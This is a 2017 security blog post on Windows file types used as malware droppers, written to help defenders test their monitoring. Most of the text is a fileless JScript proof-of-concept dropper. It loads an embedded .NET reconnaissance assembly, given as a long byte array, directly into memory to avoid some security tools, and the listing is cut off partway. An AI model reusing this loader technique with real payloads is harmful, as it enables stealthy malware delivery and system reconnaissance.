

Posted by Felix Weyne, July 2017.

Author contact: Twitter | Mail | LinkedIn

Tags: attack vector, malicious file extension, malware droppers, Mitre ATT&CK Framework, blue team, red team, cyber kill chain, fileless malware, fileless dropper

A good way for an organisation to map its cyber resilience is to enumerate frequently used attack vectors and to list its monitoring and defensive capabilities for each attach vector. Each attack vector can be mapped on one or multiple stages of the 'cyber kill chain' (process flow of a cyber attack). The Mitre ATT&CK (Adversarial Tactics, Techniques & Common Knowledge) framework is a great framework that can be used as a reference to build an overview of the attack vectors relating to the last three stages of the cyber kill chain. In this blog, I will talk about attack vectors which relate to the second phase of the cyber kill chain: weaponization. I will discuss various types of droppers (weapons that drop a payload), which can be delivered via email, web or usb and help in exploiting a target system.



Image one: Position of malicious droppers in the cyber kill chain (source: Lockheed Martin).

Droppers overview

The table below is an overview of the fifteen most usable windows file types frequently used as a malicious dropper. Each filetype natively supports code execution, no exploits are necessary. I'll discuss each file type (dropper) below, and for each file type I will also provide a Proof of Concept (Poc) dropper sample (password='droppersPOC'). These PoC droppers will execute a harmless 'reconnaissance' (.NET) executable. The reconnaissance executable collects system/environment information and drops the collected information locally into a text file in the temporary folder. These PoCs can be used at your own risk in your environment to test if your defense systems pick up on them (e.g. prevent you from executing them, sends an alert to your SIEM, ...).

*=Tested on Windows 7, Windows 8 and Windows 10 (default install + Office & Java Runtime Environment additionally installed)

PoC payload

The following information is collected by the reconnaissance executable which is executed by the dropper:

System info (OS version, install date, keyboard language, timezone, hostname, ...)

Hardware info (connected storage devices, Bios/CPU/RAM/Motherboard/Network adapter info, installed video/audio devices, connected printers/monitors)

Local users info (description, username, password expiry date)

Running processes info (creationdate, (parent) process ID, path)

Installed services info (description, path, status)

Environment variables

File assocations (file extension, associated program name, associated command)

Network info (internal ip, configured DNS servers)

Directory listing (root C drive, Desktop, Documents, Temp folder, ...)

Printscreen

The reason why I used this harmless executable in the PoCs is because it is a good eye opener that shows the strength of the dropper (and the attack vector): imagine that a real attacker sends this information to his server rather than writing it to a local file! . If all these droppers can be executed in your environment without even an alert being generated, you might want to consider getting a better view on these attack vectors . The executable payload embedded in the PoC dropper will either be:

-loaded directly into memory ('fileless dropper') or

-written to disk and executed.

The reconnaissance .NET payload will drop its reconnaissance info in the following path: %TEMP%\FingerPrintOutput.txt





JScript, VBScript & WSF

JScript and VBScript are both out of the box supported Windows scripting languages. They are interpreted and executed by the Windows Script Host (WSH) environment and are often used for automation of tasks in the Windows operating system. The scripts are uncompiled text files with the extensions ".js"/".vbs" (or ".jse"/".vbe" for their encoded variants). While they are often used for legitimate purposes, they are also often used by malware (e.g. Locky ransomware) to download and execute an externally hosted malicious executable.

I have created a JScript and VBScript PoC dropper which contains the embedded .NET reconaissance assembly. The assembly is loaded directly into memory, without being written to disk. This allows the dropper to bypass some security solutions. The scripts are made with a brilliant tool called "DotNetToJScript", written by James Forshaw. Both scripts look very similar, the biggest differences are because of the syntax differences of the objects in JScript and VBScript.

Fileless JScript dropper (loads a -harmless- .NET assembly in memory)

var myMsgBox= new ActiveXObject( "wscript.shell" ) responseCode = myMsgBox.Popup ( "This PoC JS dropper sample will execute a reconnaissance .NET assembly in memory, and will drop its output in %TEMP%FingerPrintOutput.txt. Continue?" , 0 , "Execute PoC dropper?" , 1 + 48 ); function setversion() { new ActiveXObject( 'WScript.Shell' ).Environment( 'Process' )( 'COMPLUS_Version' ) = 'v4.0.30319' ; } var serialized_obj = [ 0,1,0,0,0,255,255,255,255,1,0,0,0,0,0,0,0,4,1,0,0,0,34,83,121,115,116,101,109,46,68,101,108,101,103,97,116,101,83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,3,0,0,0,8,68,101,108,101,103,97,116,101,7,116,97,114,103,101,116,48,7,109,101,116,104,111,100,48,3,3,3,48,83,121,115,116,101,109,46,68,101,108,101,103,97,116,101,83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,43,68,101,108,101,103,97,116,101,69,110,116,114,121,34,83,121,115,116,101,109,46,68,101,108,101,103,97,116,101,83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,47,83,121,115,116,101,109,46,82,101,102,108,101,99,116,105,111,110,46,77,101,109,98,101,114,73,110,102,111,83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,9,2,0,0,0,9,3,0,0,0,9,4,0,0,0,4,2,0,0,0,48,83,121,115,116,101,109,46,68,101,108,101,103,97,116,101,83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,43,68,101,108,101,103,97,116,101,69,110,116,114,121,7,0,0,0,4,116,121,112,101,8,97,115,115,101,109,98,108,121,6,116,97,114,103,101,116,18,116,97,114,103,101,116,84,121,112,101,65,115,115,101,109,98,108,121,14,116,97,114,103,101,116,84,121,112,101,78,97,109,101,10,109,101,116,104,111,100,78,97,109,101,13,100,101,108,101,103,97,116,101,69,110,116,114,121,1,1,2,1,1,1,3,48,83,121,115,116,101,109,46,68,101,108,101,103,97,116,101,83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,43,68,101,108,101,103,97,116,101,69,110,116,114,121,6,5,0,0,0,47,83,121,115,116,101,109,46,82,117,110,116,105,109,101,46,82,101,109,111,116,105,110,103,46,77,101,115,115,97,103,105,110,103,46,72,101,97,100,101,114,72,97,110,100,108,101,114,6,6,0,0,0,75,109,115,99,111,114,108,105,98,44,32,86,101,114,115,105,111,110,61,50,46,48,46,48,46,48,44,32,67,117,108,116,117,114,101,61,110,101,117,116,114,97,108,44,32,80,117,98,108,105,99,75,101,121,84,111,107,101,110,61,98,55,55,97,53,99,53,54,49,57,51,52,101,48,56,57,6,7,0,0,0,7,116,97,114,103,101,116,48,9,6,0,0,0,6,9,0,0,0,15,83,121,115,116,101,109,46,68,101,108,101,103,97,116,101,6,10,0,0,0,13,68,121,110,97,109,105,99,73,110,118,111,107,101,10,4,3,0,0,0,34,83,121,115,116,101,109,46,68,101,108,101,103,97,116,101,83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,3,0,0,0,8,68,101,108,101,103,97,116,101,7,116,97,114,103,101,116,48,7,109,101,116,104,111,100,48,3,7,3,48,83,121,115,116,101,109,46,68,101,108,101,103,97,116,101,83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,43,68,101,108,101,103,97,116,101,69,110,116,114,121,2,47,83,121,115,116,101,109,46,82,101,102,108,101,99,116,105,111,110,46,77,101,109,98,101,114,73,110,102,111,83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,9,11,0,0,0,9,12,0,0,0,9,13,0,0,0,4,4,0,0,0,47,83,121,115,116,101,109,46,82,101,102,108,101,99,116,105,111,110,46,77,101,109,98,101,114,73,110,102,111,83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,6,0,0,0,4,78,97,109,101,12,65,115,115,101,109,98,108,121,78,97,109,101,9,67,108,97,115,115,78,97,109,101,9,83,105,103,110,97,116,117,114,101,10,77,101,109,98,101,114,84,121,112,101,16,71,101,110,101,114,105,99,65,114,103,117,109,101,110,116,115,1,1,1,1,0,3,8,13,83,121,115,116,101,109,46,84,121,112,101,91,93,9,10,0,0,0,9,6,0,0,0,9,9,0,0,0,6,17,0,0,0,44,83,121,115,116,101,109,46,79,98,106,101,99,116,32,68,121,110,97,109,105,99,73,110,118,111,107,101,40,83,121,115,116,101,109,46,79,98,106,101,99,116,91,93,41,8,0,0,0,10,1,11,0,0,0,2,0,0,0,6,18,0,0,0,32,83,121,115,116,101,109,46,88,109,108,46,83,99,104,101,109,97,46,88,109,108,86,97,108,117,101,71,101,116,116,101,114,6,19,0,0,0,77,83,121,115,116,101,109,46,88,109,108,44,32,86,101,114,115,105,111,110,61,50,46,48,46,48,46,48,44,32,67,117,108,116,117,114,101,61,110,101,117,116,114,97,108,44,32,80,117,98,108,105,99,75,101,121,84,111,107,101,110,61,98,55,55,97,53,99,53,54,49,57,51,52,101,48,56,57,6,20,0,0,0,7,116,97,114,103,101,116,48,9,6,0,0,0,6,22,0,0,0,26,83,121,115,116,101,109,46,82,101,102,108,101,99,116,105,111,110,46,65,115,115,101,109,98,108,121,6,23,0,0,0,4,76,111,97,100,10,15,12,0,0,0,0,140,0,0,2,77,90,144,0,3,0,0,0,4,0,0,0,255,255,0,0,184,0,0,0,0,0,0,0,64,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,128,0,0,0,14,31,186,14,0,180,9,205,33,184,1,76,205,33,84,104,105,115,32,112,114,111,103,114,97,109,32,99,97,110,110,111,116,32,98,101,32,114,117,110,32,105,110,32,68,79,83,32,109,111,100,101,46,13,13,10,36,0,0,0,0,0,0,0,80,69,0,0,76,1,3,0,48,8,36,89,0,0,0,0,0,0,0,0,224,0,2,33,11,1,8,0,0,132,0,0,0,6,0,0,0,0,0,0,14,163,0,0,0,32,0,0,0,0,0,0,0,0,64,0,0,32,0,0,0,2,0,0,4,0,0,0,0,0,0,0,4,0,0,0,0,0,0,0,0,0,1,0,0,2,0,0,0,0,0,0,3,0,64,133,0,0,16,0,0,16,0,0,0,0,16,0,0,16,0,0,0,0,0,0,16,0,0,0,0,0,0,0,0,0,0,0,192,162,0,0,75,0,0,0,0,192,0,0,0,4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,224,0,0,12,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,32,0,0,8,0,0,0,0,0,0,0,0,0,0,0,8,32,0,0,72,0,0,0,0,0,0,0,0,0,0,0,46,116,101,120,116,0,0,0,20,131,0,0,0,32,0,0,0,132,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,32,0,0,96,46,114,115,114,99,0,0,0,0,4,0,0,0,192,0,0,0,4,0,0,0,134,0,0,0,0,0,0,0,0,0,0,0,0,0,0,64,0,0,64,46,114,101,108,111,99,0,0,12,0,0,0,0,224,0,0,0,2,0,0,0,138,0,0,0,0,0,0,0,0,0,0,0,0,0,0,64,0,0,66,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,240,162,0,0,0,0,0,0,72,0,0,0,2,0,5,0,52,114,0,0,140,48,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,19,48,2,0,25,0,0,0,1,0,0,17,0,15,0,40,2,0,0,10,15,1,40,2,0,0,10,111,3,0,0,10,10,43,0,6,42,0,0,0,27,48,5,0,21,1,0,0,2,0,0,17,0,0,126,4,0,0,10,10,40,57,0,0,6,11,40,58,0,0,6,115,5,0,0,10,12,0,8,111,6,0,0,10,111,7,0,0,10,19,5,43,94,17,5,111,8,0,0,10,116,3,0,0,1,13,0,9,40,59,0,0,6,111,9,0,0,10,111,10,0,0,10,10,9,40,60,0,0,6,111,9,0,0,10,111,10,0,0,10,11,40,11,0,0,10,22,254,1,19,6,17,6,45,16,0,6,40,61,0,0,6,40,12,0,0,10,10,0,43,14,0,6,40,62,0,0,6,40,12,0,0,10,10,0,43,13,17,5,111,13,0,0,10,19,6,17,6,45,149,222,20,17,5,20,254,1,19,6,17,6,45,8,17,5,111,14,0,0,10,0,220,0,29,141,9,0,0,1,19,7,17,7,22,6,162,17,7,23,40,63,0,0,6,162,17,7,24,7,22,26,111,15,0,0,10,162,17,7,25,40,64,0,0,6,162,17,7,26,7,26,24,111,15,0,0,10,162,17,7,27,40,64,0,0,6,162,17,7,28,7,28,24,111,15,0,0,10,162,17,7,40,16,0,0,10,19,4,222,15,38,0,0,222,0,0,40,57,0,0,6,19,4,43,0,0,17,4,42,0,0,0,65,52,0,0,2,0,0,0,39,0,0,0,111,0,0,0,150,0,0,0,20,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,2,1,0,0,5,0,0,0,1,0,0,1,27,48,3,0,153,0,0,0,3,0,0,17,0,0,40,65,0,0,6,10,6,115,5,0,0,10,11,22,106,12,0,7,111,6,0,0,10,111,7,0,0,10,19,5,43,44,17,5,111,8,0,0,10,116,3,0,0,1,13,0,8,9,111,17,0,0,10,40,66,0,0,6,111,18,0,0,10,111,19,0,0,10,40,20,0,0,10,88,12,0,17,5,111,13,0,0,10,19,6,17,6,45,199,222,20,17,5,20,254,1,19,6,17,6,45,8,17,5,111,14,0,0,10,0,220,0,8,32,0,202,154,59,106,92,12,18,2,40,21,0,0,10,19,4,222,15,38,0,0,222,0,0,40,57,0,0,6,19,4,43,0,0,17,4,42,0,0,0,1,28,0,0,2,0,32,0,61,93,0,20,0,0,0,0,0,0,1,0,133,134,0,5,1,0,0,1,27,48,1,0,41,0,0,0,4,0,0,17,0,40,57,0,0,6,10,0,40,22,0,0,10,11,7,111,23,0,0,10,111,10,0,0,10,10,0,222,5,38,0,0,222,0,0,6,12,43,0,8,42,0,0,0,1,16,0,0,0,0,7,0,22,29,0,5,1,0,0,1,27,48,5,0,245,1,0,0,5,0,0,17,0,0,40,67,0,0,6,115,5,0,0,10,10,6,111,6,0,0,10,11,7,40,1,0,0,43,126,1,0,0,4,45,19,20,254,6,31,0,0,6,115,25,0,0,10,128,1,0,0,4,43,0,126,1,0,0,4,40,2,0,0,43,12,40,57,0,0,6,13,0,7,111,7,0,0,10,19,6,56,99,1,0,0,17,6,111,8,0,0,10,116,3,0,0,1,19,4,0,0,9,40,68,0,0,6,17,4,40,69,0,0,6,111,9,0,0,10,111,10,0,0,10,40,70,0,0,6,40,27,0,0,10,13,9,2,40,68,0,0,6,17,4,40,69,0,0,6,111,9,0,0,10,111,10,0,0,10,40,12,0,0,10,40,6,0,0,6,40,70,0,0,6,40,28,0,0,10,13,9,40,71,0,0,6,17,4,40,72,0,0,6,111,9,0,0,10,111,10,0,0,10,40,70,0,0,6,40,27,0,0,10,13,9,40,73,0,0,6,17,4,40,74,0,0,6,111,9,0,0,10,111,10,0,0,10,40,70,0,0,6,40,27,0,0,10,13,9,40,75,0,0,6,17,4,40,76,0,0,6,111,9,0,0,10,111,10,0,0,10,40,70,0,0,6,40,27,0,0,10,13,9,40,77,0,0,6,17,4,40,78,0,0,6,111,9,0,0,10,111,10,0,0,10,40,70,0,0,6,40,27,0,0,10,13,9,40,79,0,0,6,17,4,40,80,0,0,6,111,9,0,0,10,111,10,0,0,10,40,70,0,0,6,40,27,0,0,10,13,9,40,81,0,0,6,17,4,40,82,0,0,6,111,9,0,0,10,111,10,0,0,10,40,70,0,0,6,40,27,0,0,10,13,9,40,83,0,0,6,17,4,40,84,0,0,6,111,9,0,0,10,111,10,0,0,10,40,70,0,0,6,40,27,0,0,10,13,9,40,85,0,0,6,40,12,0,0,10,13,0,222,5,38,0,0,222,0,0,0,17,6,111,13,0,0,10,19,7,17,7,58,141,254,255,255,222,20,17,6,20,254,1,19,7,17,7,45,8,17,6,111,14,0,0,10,0,220,0,9,19,5,222,15,38,0,0,222,0,0,40,57,0,0,6,19,5,43,0,0,17,5,42,0,0,0,65,76,0,0,0,0,0,0,98,0,0,0,77,1,0,0,175,1,0,0,5,0,0,0,1,0,0,1,2,0,0,0,78,0,0,0,122,1,0,0,200,1,0,0,20,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,225,1,0,0,226,1,0,0,5,0,0,0,1,0,0,1,19,48,3,0,60,0,0,0,6,0,0,17,0,40,57,0,0,6,10,22,11,43,18,0,6,40,86,0,0,6,40,12,0,0,10,10,0,7,23,88,11,7,108,3,111,29,0,0,10,108,35,51,51,51,51,51,51,243,63,90,254,4,13,9,45,213,6,12,43,0,8,42,27,48,4,0,29,1,0,0,7,0,0,17,0,0,40,57,0,0,6,10,40,87,0,0,6,115,30,0,0,10,11,7,111,31,0,0,10,12,8,111,32,0,0,10,22,254,1,19,5,17,5,58,217,0,0,0,0,0,7,111,31,0,0,10,111,7,0,0,10,19,6,56,157,0,0,0,17,6,111,8,0,0,10,116,3,0,0,1,13,0,0,6,40,88,0,0,6,9,40,89,0,0,6,111,9,0,0,10,111,10,0,0,10,40,70,0,0,6,40,27,0,0,10,10,6,40,90,0,0,6,9,40,91,0,0,6,111,9,0,0,10,111,10,0,0,10,40,70,0,0,6,40,27,0,0,10,10,6,40,92,0,0,6,9,40,93,0,0,6,111,9,0,0,10,111,10,0,0,10,40,70,0,0,6,40,27,0,0,10,10,6,40,94,0,0,6,9,40,69,0,0,6,111,9,0,0,10,111,10,0,0,10,40,70,0,0,6,40,27,0,0,10,10,0,222,5,38,0,0,222,0,0,0,17,6,111,13,0,0,10,19,5,17,5,58,83,255,255,255,222,20,17,6,20,254,1,19,5,17,5,45,8,17,6,111,14,0,0,10,0,220,0,0,6,19,4,222,15,38,0,0,222,0,0,40,57,0,0,6,19,4,43,0,0,17,4,42,0,0,0,65,76,0,0,0,0,0,0,78,0,0,0,136,0,0,0,214,0,0,0,5,0,0,0,1,0,0,1,2,0,0,0,59,0,0,0,180,0,0,0,239,0,0,0,20,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,9,1,0,0,10,1,0,0,5,0,0,0,1,0,0,1,27,48,3,0,144,1,0,0,8,0,0,17,0,0,40,57,0,0,6,10,0,40,95,0,0,6,115,5,0,0,10,40,6,0,0,10,111,7,0,0,10,19,9,56,45,1,0,0,17,9,111,8,0,0,10,116,3,0,0,1,11,0,0,7,40,96,0,0,6,111,9,0,0,10,20,254,1,19,10,17,10,58,253,0,0,0,0,7,40,69,0,0,6,111,9,0,0,10,116,9,0,0,1,12,7,40,97,0,0,6,111,9,0,0,10,116,9,0,0,1,13,7,40,96,0,0,6,111,9,0,0,10,165,19,0,0,1,19,4,7,40,66,0,0,6,111,9,0,0,10,165,19,0,0,1,19,5,17,4,40,33,0,0,10,17,5,40,33,0,0,10,91,35,0,0,0,0,0,0,89,64,90,40,34,0,0,10,19,6,7,40,66,0,0,6,111,9,0,0,10,165,19,0,0,1,40,33,0,0,10,35,0,0,0,0,0,64,143,64,91,35,0,0,0,0,0,64,143,64,91,35,0,0,0,0,0,64,143,64,91,24,40,35,0,0,10,19,7,31,9,141,1,0,0,1,19,11,17,11,22,6,162,17,11,23,8,162,17,11,24,40,98,0,0,6,162,17,11,25,9,162,17,11,26,40,99,0,0,6,162,17,11,27,17,7,140,26,0,0,1,162,17,11,28,40,100,0,0,6,162,17,11,29,18,6,40,36,0,0,10,162,17,11,30,40,101,0,0,6,162,17,11,40,37,0,0,10,10,0,0,222,5,38,0,0,222,0,0,0,17,9,111,13,0,0,10,19,10,17,10,58,195,254,255,255,222,20,17,9,20,254,1,19,10,17,10,45,8,17,9,111,14,0,0,10,0,220,0,6,19,8,222,15,38,0,0,222,0,0,40,57,0,0,6,19,8,43,0,0,17,8,42,65,76,0,0,0,0,0,0,50,0,0,0,24,1,0,0,74,1,0,0,5,0,0,0,1,0,0,1,2,0,0,0,31,0,0,0,68,1,0,0,99,1,0,0,20,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,124,1,0,0,125,1,0,0,5,0,0,0,1,0,0,1,27,48,3,0,201,0,0,0,9,0,0,17,0,0,40,57,0,0,6,10,0,40,102,0,0,6,115,5,0,0,10,40,6,0,0,10,111,7,0,0,10,19,5,43,108,17,5,111,8,0,0,10,116,3,0,0,1,11,0,0,7,40,69,0,0,6,111,9,0,0,10,116,9,0,0,1,12,7,40,103,0,0,6,111,9,0,0,10,111,10,0,0,10,13,27,141,9,0,0,1,19,6,17,6,22,6,162,17,6,23,8,162,17,6,24,40,104,0,0,6,162,17,6,25,9,162,17,6,26,40,105,0,0,6,162,17,6,40,16,0,0,10,10,0,222,5,38,0,0,222,0,0,0,17,5,111,13,0,0,10,19,7,17,7,45,135,222,20,17,5,20,254,1,19,7,17,7,45,8,17,5,111,14,0,0,10,0,220,0,6,19,4,222,15,38,0,0,222,0,0,40,57,0,0,6,19,4,43,0,0,17,4,42,0,0,0,1,40,0,0,0,0,47,0,87,134,0,5,1,0,0,1,2,0,31,0,125,156,0,20,0,0,0,0,0,0,1,0,181,182,0,5,1,0,0,1,27,48,3,0,184,0,0,0,9,0,0,17,0,40,57,0,0,6,10,0,0,40,106,0,0,6,115,5,0,0,10,40,6,0,0,10,111,7,0,0,10,19,5,43,98,17,5,111,8,0,0,10,116,3,0,0,1,11,0,7,40,69,0,0,6,111,9,0,0,10,116,9,0,0,1,12,7,40,89,0,0,6,111,9,0,0,10,111,10,0,0,10,13,27,141,9,0,0,1,19,6,17,6,22,6,162,17,6,23,8,162,17,6,24,40,104,0,0,6,162,17,6,25,9,162,17,6,26,40,107,0,0,6,162,17,6,40,16,0,0,10,10,0,17,5,111,13,0,0,10,19,7,17,7,45,145,222,20,17,5,20,254,1,19,7,17,7,45,8,17,5,111,14,0,0,10,0,220,0,0,222,5,38,0,0,222,0,0,6,19,4,43,0,17,4,42,1,28,0,0,2,0,31,0,115,146,0,20,0,0,0,0,0,0,7,0,163,170,0,5,1,0,0,1,27,48,3,0,240,0,0,0,10,0,0,17,0,40,57,0,0,6,10,0,0,40,108,0,0,6,115,5,0,0,10,40,6,0,0,10,111,7,0,0,10,19,6,56,141,0,0,0,17,6,111,8,0,0,10,116,3,0,0,1,11,0,0,7,40,69,0,0,6,111,9,0,0,10,116,9,0,0,1,12,7,40,109,0,0,6,111,9,0,0,10,111,10,0,0,10,13,7,40,110,0,0,6,111,9,0,0,10,111,10,0,0,10,19,4,29,141,9,0,0,1,19,7,17,7,22,6,162,17,7,23,8,162,17,7,24,40,104,0,0,6,162,17,7,25,9,162,17,7,26,40,111,0,0,6,162,17,7,27,17,4,162,17,7,28,40,112,0,0,6,162,17,7,40,16,0,0,10,10,0,222,5,38,0,0,222,0,0,0,17,6,111,13,0,0,10,19,8,17,8,58,99,255,255,255,222,20,17,6,20,254,1,19,8,17,8,45,8,17,6,111,14,0,0,10,0,220,0,6,19,5,222,15,38,0,0,222,0,0,40,57,0,0,6,19,5,43,0,0,17,5,42,1,40,0,0,0,0,50,0,120,170,0,5,1,0,0,1,2,0,31,0,164,195,0,20,0,0,0,0,0,0,7,0,214,221,0,5,1,0,0,1,27,48,3,0,184,0,0,0,9,0,0,17,0,40,57,0,0,6,10,0,0,40,113,0,0,6,115,5,0,0,10,40,6,0,0,10,111,7,0,0,10,19,5,43,98,17,5,111,8,0,0,10,116,3,0,0,1,11,0,7,40,89,0,0,6,111,9,0,0,10,116,9,0,0,1,12,7,40,114,0,0,6,111,9,0,0,10,116,9,0,0,1,13,27,141,9,0,0,1,19,6,17,6,22,6,162,17,6,23,8,162,17,6,24,40,104,0,0,6,162,17,6,25,9,162,17,6,26,40,115,0,0,6,162,17,6,40,16,0,0,10,10,0,17,5,111,13,0,0,10,19,7,17,7,45,145,222,20,17,5,20,254,1,19,7,17,7,45,8,17,5,111,14,0,0,10,0,220,0,0,222,5,38,0,0,222,0,0,6,19,4,43,0,17,4,42,1,28,0,0,2,0,31,0,115,146,0,20,0,0,0,0,0,0,7,0,163,170,0,5,1,0,0,1,27,48,2,0,144,0,0,0,11,0,0,17,0,40,57,0,0,6,10,0,0,40,116,0,0,6,115,5,0,0,10,40,6,0,0,10,111,7,0,0,10,19,4,43,54,17,4,111,8,0,0,10,116,3,0,0,1,11,0,0,7,40,117,0,0,6,111,9,0,0,10,116,9,0,0,1,12,8,40,70,0,0,6,40,12,0,0,10,10,0,222,5,38,0,0,222,0,0,0,17,4,111,13,0,0,10,19,5,17,5,45,189,222,20,17,4,20,254,1,19,5,17,5,45,8,17,4,111,14,0,0,10,0,220,0,6,13,222,14,38,0,0,222,0,0,40,57,0,0,6,13,43,0,0,9,42,1,40,0,0,0,0,47,0,33,80,0,5,1,0,0,1,2,0,31,0,71,102,0,20,0,0,0,0,0,0,7,0,120,127,0,5,1,0,0,1,27,48,3,0,201,0,0,0,9,0,0,17,0,40,57,0,0,6,10,0,0,40,118,0,0,6,115,5,0,0,10,40,6,0,0,10,111,7,0,0,10,19,5,43,108,17,5,111,8,0,0,10,116,3,0,0,1,11,0,0,7,40,69,0,0,6,111,9,0,0,10,116,9,0,0,1,12,7,40,119,0,0,6,111,9,0,0,10,116,9,0,0,1,13,27,141,9,0,0,1,19,6,17,6,22,6,162,17,6,23,9,162,17,6,24,40,120,0,0,6,162,17,6,25,8,162,17,6,26,40,70,0,0,6,162,17,6,40,16,0,0,10,10,0,222,5,38,0,0,222,0,0,0,17,5,111,13,0,0,10,19,7,17,7,45,135,222,20,17,5,20,254,1,19,7,17,7,45,8,17,5,111,14,0,0,10,0,220,0,6,19,4,222,15,38,0,0,222,0,0,40,57,0,0,6,19,4,43,0,0,17,4,42,0,0,0,1,40,0,0,0,0,47,0,87,134,0,5,1,0,0,1,2,0,31,0,125,156,0,20,0,0,0,0,0,0,7,0,175,182,0,5,1,0,0,1,27,48,3,0,201,0,0,0,9,0,0,17,0,0,40,57,0,0,6,10,0,40,121,0,0,6,115,5,0,0,10,40,6,0,0,10,111,7,0,0,10,19,5,43,108,17,5,111,8,0,0,10,116,3,0,0,1,11,0,0,7,40,69,0,0,6,111,9,0,0,10,116,9,0,0,1,12,7,40,119,0,0,6,111,9,0,0,10,116,9,0,0,1,13,27,141,9,0,0,1,19,6,17,6,22,6,162,17,6,23,9,162,17,6,24,40,120,0,0,6,162,17,6,25,8,162,17,6,26,40,70,0,0,6,162,17,6,40,16,0,0,10,10,0,222,5,38,0,0,222,0,0,0,17,5,111,13,0,0,10,19,7,17,7,45,135,222,20,17,5,20,254,1,19,7,17,7,45,8,17,5,111,14,0,0,10,0,220,0,6,19,4,222,15,38,0,0,222,0,0,40,57,0,0,6,19,4,43,0,0,17,4,42,0,0,0,1,40,0,0,0,0,47,0,87,134,0,5,1,0,0,1,2,0,31,0,125,156,0,20,0,0,0,0,0,0,1,0,181,182,0,5,1,0,0,1,27,48,3,0,145,0,0,0,11,0,0,17,0,0,40,57,0,0,6,10,0,40,122,0,0,6,115,5,0,0,10,40,6,0,0,10,111,7,0,0,10,19,4,43,55,17,4,111,8,0,0,10,116,3,0,0,1,11,0,0,7,40,69,0,0,6,111,9,0,0,10,116,9,0,0,1,12,6,8,40,70,0,0,6,40,28,0,0,10,10,0,222,5,38,0,0,222,0,0,0,17,4,111,13,0,0,10,19,5,17,5,45,188,222,20,17,4,20,254,1,19,5,17,5,45,8,17,4,111,14,0,0,10,0,220,0,6,13,222,14,38,0,0,222,0,0,40,57,0,0,6,13,43,0,0,9,42,0,0,0,1,40,0,0,0,0,47,0,34,81,0,5,1,0,0,1,2,0,31,0,72,103,0,20,0,0,0,0,0,0,1,0,127,128,0,5,1,0,0,1,27,48,6,0,108,2,0,0,12,0,0,17,0,40,57,0,0,6,10,115,38,0,0,10,11,40,123,0,0,6,12,8,115,5,0,0,10,13,9,111,6,0,0,10,19,4,0,0,40,39,0,0,10,17,4,40,1,0,0,43,126,2,0,0,4,45,19,20,254,6,32,0,0,6,115,40,0,0,10,128,2,0,0,4,43,0,126,2,0,0,4,126,3,0,0,4,45,19,20,254,6,33,0,0,6,115,41,0,0,10,128,3,0,0,4,43,0,126,3,0,0,4,126,4,0,0,4,45,19,20,254,6,34,0,0,6,115,42,0,0,10,128,4,0,0,4,43,0,126,4,0,0,4,40,3,0,0,43,19,5,0,17,5,111,44,0,0,10,19,11,56,214,0,0,0,17,11,111,45,0,0,10,19,6,0,17,6,111,46,0,0,10,40,47,0,0,10,19,7,18,7,40,124,0,0,6,40,48,0,0,10,19,8,17,6,111,49,0,0,10,20,254,1,19,12,17,12,58,134,0,0,0,0,7,22,17,8,31,9,141,9,0,0,1,19,13,17,13,22,40,125,0,0,6,162,17,13,23,17,6,111,50,0,0,10,111,10,0,0,10,162,17,13,24,40,126,0,0,6,162,17,13,25,17,6,111,51,0,0,10,111,10,0,0,10,162,17,13,26,40,127,0,0,6,162,17,13,27,17,6,111,49,0,0,10,162,17,13,28,40,128,0,0,6,162,17,13,29,17,6,111,52,0,0,10,162,17,13,30,40,115,0,0,6,162,17,13,40,16,0,0,10,115,53,0,0,10,111,54,0,0,10,0,0,43,22,0,7,22,17,8,40,129,0,0,6,115,53,0,0,10,111,54,0,0,10,0,0,0,17,11,111,55,0,0,10,19,12,17,12,58,26,255,255,255,222,20,17,11,20,254,1,19,12,17,12,45,8,17,11,111,14,0,0,10,0,220,0,0,222,5,38,0,0,222,0,0,0,222,20,17,4,20,254,1,19,12,17,12,45,8,17,4,111,14,0,0,10,0,220,0,222,18,9,20,254,1,19,12,17,12,45,7,9,111,14,0,0,10,0,220,0,7,20,254,6,1,0,0,6,115,56,0,0,10,111,57,0,0,10,0,0,7,111,58,0,0,10,19,14,43,81,18,14,40,59,0,0,10,19,9,0,28,141,9,0,0,1,19,13,17,13,22,6,162,17,13,23,40,130,0,0,6,162,17,13,24,18,9,40,2,0,0,10,162,17,13,25,40,131,0,0,6,162,17,13,26,18,9,40,60,0,0,10,162,17,13,27,40,132,0,0,6,162,17,13,40,16,0,0,10,10,0,18,14,40,61,0,0,10,19,12,17,12,45,162,222,15,18,14,254,22,11,0,0,27,111,14,0,0,10,0,220,0,6,19,10,43,0,17,10,42,65,124,0,0,2,0,0,0,158,0,0,0,237,0,0,0,139,1,0,0,20,0,0,0,0,0,0,0,0,0,0,0,35,0,0,0,128,1,0,0,163,1,0,0,5,0,0,0,1,0,0,1,2,0,0,0,34,0,0,0,138,1,0,0,172,1,0,0,20,0,0,0,0,0,0,0,2,0,0,0,26,0,0,0,169,1,0,0,195,1,0,0,18,0,0,0,0,0,0,0,2,0,0